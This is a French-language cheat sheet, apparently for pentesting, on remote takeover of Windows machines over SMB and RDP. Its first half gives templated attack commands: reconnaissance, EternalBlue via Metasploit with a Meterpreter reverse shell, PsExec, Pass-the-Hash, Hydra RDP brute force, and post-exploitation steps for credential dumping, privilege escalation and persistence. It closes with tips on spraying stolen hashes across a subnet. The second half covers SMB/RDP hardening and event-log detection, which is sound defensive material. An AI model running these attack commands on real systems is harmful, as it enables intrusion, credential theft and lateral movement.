Prise de contrôle à distance — SMB / RDP / LAN
Exploitation SMB/RDP sur réseau local : EternalBlue, PsExec, Pass-the-Hash, Meterpreter, durcissement défensif
Reconnaissance réseau
# Ping sweepnmap -sn {{TARGET_SUBNET}}# ARP scan (plus fiable en local)netdiscover -r {{TARGET_SUBNET}}arp-scan --localnet
# Scan rapide des ports SMB/RDP/VNCnmap -p 13513944533895900 {{TARGET_IP}}# Scan complet + détection OS + scripts NSEnmap -A -sV -p- {{TARGET_IP}}# Scripts NSE SMB spécifiquesnmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 {{TARGET_IP}}
Énumération SMB (ports 139/445)
# Énumération via enum4linuxenum4linux -a {{TARGET_IP}}# Lister les partages accessibles (session anonyme)smbclient -L //{{TARGET_IP}} -N# CrackMapExec — énumération complètecrackmapexec smb {{TARGET_IP}}crackmapexec smb {{TARGET_IP}} --sharescrackmapexec smb {{TARGET_IP}} --users
# Identifier la version SMBnmap --script smb-protocols -p 445 {{TARGET_IP}}# SMBv1 actif = potentiellement vulnérable à EternalBlue (MS17-010)
Exploitation
Option A — EternalBlue (MS17-010) si SMBv1 actif
# Vérification préalablenmap --script smb-vuln-ms17-010 -p 445 {{TARGET_IP}}# Exploitation via Metasploitmsfconsoleuse exploit/windows/smb/ms17_010_eternalblueset RHOSTS {{TARGET_IP}}set LHOST {{LHOST}}set PAYLOAD windows/x64/meterpreter/reverse_tcprun
Option B — PsExec (credentials connus ou session null)
# Via Metasploituse exploit/windows/smb/psexecset RHOSTS {{TARGET_IP}}set SMBUser {{SMB_USER}}set SMBPass {{SMB_PASS}}run# Via Impacket (CLI)impacket-psexec {{SMB_USER}}{{SMB_PASS}}{{TARGET_IP}}# Via Sysinternals PsExec (Windows → Windows)PsExecexe {{TARGET_IP}} -u {{SMB_USER}} -p {{SMB_PASS}} cmdexe
Option C — Pass-the-Hash (hash NTLM récupéré)
# Avec CrackMapExeccrackmapexec smb {{TARGET_IP}} -u Administrator -H {{NTLM_HASH}}# Avec Impacketimpacket-psexec -hashes {{NTLM_HASH}} Administrator{{TARGET_IP}}
Option D — RDP (port 3389)
# Brute-force RDPhydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp//{{TARGET_IP}}# Connexion directe (si credentials)xfreerdp /u{{RDP_USER}} /p{{RDP_PASS}} /v{{TARGET_IP}}# BlueKeep check (CVE-2019-0708)nmap --script rdp-vuln-ms12-020 -p 3389 {{TARGET_IP}}
Post-exploitation (Meterpreter)
# Capture d'écranscreenshot# Stream live écranscreenshare# Shell interactifshell# Dump des credentialshashdumprun post/windows/gather/credentials/credential_collector# Élévation de privilègesgetsystem# Persistance (démo lab uniquement)run post/windows/manage/persistence
Défense — Audit immédiat
# Connexions actives + PIDnetstat -ano# Identifier un PIDtasklist /FI "PID eq {{PID}}"# Connexions établies uniquement (filtrer le bruit)netstat -ano | findstr "ESTABLISHED"# Ports en écoute exposés sur toutes interfaces (0.0.0.0)netstat -ano | findstr "0.0.0.0.*LISTENING"
Défense — Hardening SMB
# Désactiver SMBv1 (critique)Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force# Désactiver SMBv2 si inutileSet-SmbServerConfiguration -EnableSMB2Protocol $false -Force# Vérifier l'étatGet-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol# Bloquer SMB via pare-feu Windows (ports 139 et 445)netsh advfirewall firewall add rule name="Block SMB In" dir=in action=block protocol=TCP localport=139,445
Défense — Hardening RDP
# Désactiver RDP si non utiliséSet-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `-Name "fDenyTSConnections" -Value 1# Activer NLA (Network Level Authentication)Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `-Name "UserAuthentication" -Value 1# Restreindre RDP à une IP spécifique via pare-feunetsh advfirewall firewall add rule name="RDP Restrict" dir=in action=allow `protocol=TCP localport=3389 remoteip={{IP_AUTORISEE}}
Désactiver NetBIOS
# Via PowerShell (toutes les interfaces)$adapters = Get-WmiObject Win32_NetworkAdapterConfigurationforeach ($a in $adapters) { $a.SetTcpipNetbios(2) }# 2 = Disable NetBIOS
Profil réseau public (Wi-Fi école / café)
# Forcer le profil réseau en "Public" (restreint le partage)Get-NetConnectionProfileSet-NetConnectionProfile -InterfaceIndex {{INTERFACE_ID}} -NetworkCategory Public
Défense — Pare-feu
# Bloquer toute connexion entrante par défaut (profil public)netsh advfirewall set publicprofile firewallpolicy blockinbound,allowoutbound# Vérifier les règles activesnetsh advfirewall firewall show rule name=all dir=in | findstr "Enabled"# Supprimer une règle suspectenetsh advfirewall firewall delete rule name="{{NOM_REGLE_SUSPECTE}}"
Détection — Événements suspects
# Connexions SMB entrantes (Event ID 5140 — partage réseau accédé)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 5140} | Select -First 20# Tentatives de logon réseau (Event ID 4624 type 3 = réseau)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Select -First 20# Logons échoués (Event ID 4625)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select -First 20# Sessions et fichiers SMB ouverts sur la machineGet-SmbShareGet-SmbSessionGet-SmbOpenFile
Ports à risque
| Port | Protocole | Risque | Action | |------|-----------|--------|--------| | 139 | NetBIOS | Énumération, session null | Désactiver | | 445 | SMB | EternalBlue, PsExec, PTH | Désactiver ou filtrer | | 3389 | RDP | Brute-force, BlueKeep | Désactiver ou restreindre IP | | 5900 | VNC | Accès bureau distant | Désactiver si inutile | | 135 | RPC | Exploitation DCOM | Filtrer en entrée |
Checklist défensive — réseau non maîtrisé
EternalBlue (MS17-010) reste exploitable sur n'importe quel Windows non patché avec SMBv1 actif. La vérification nmap --script smb-vuln-ms17-010 prend 5 secondes et doit être le premier réflexe sur tout réseau interne. SMBv1 est désactivé par défaut depuis Windows 10 1709 et Server 2019.
Pass-the-Hash est souvent plus rapide que le crack de password — si Responder ou hashdump donne un hash NTLM, tester directement avec CrackMapExec sur tout le subnet avant de lancer hashcat. Un seul compte admin local réutilisé sur plusieurs machines suffit pour du lateral movement en cascade.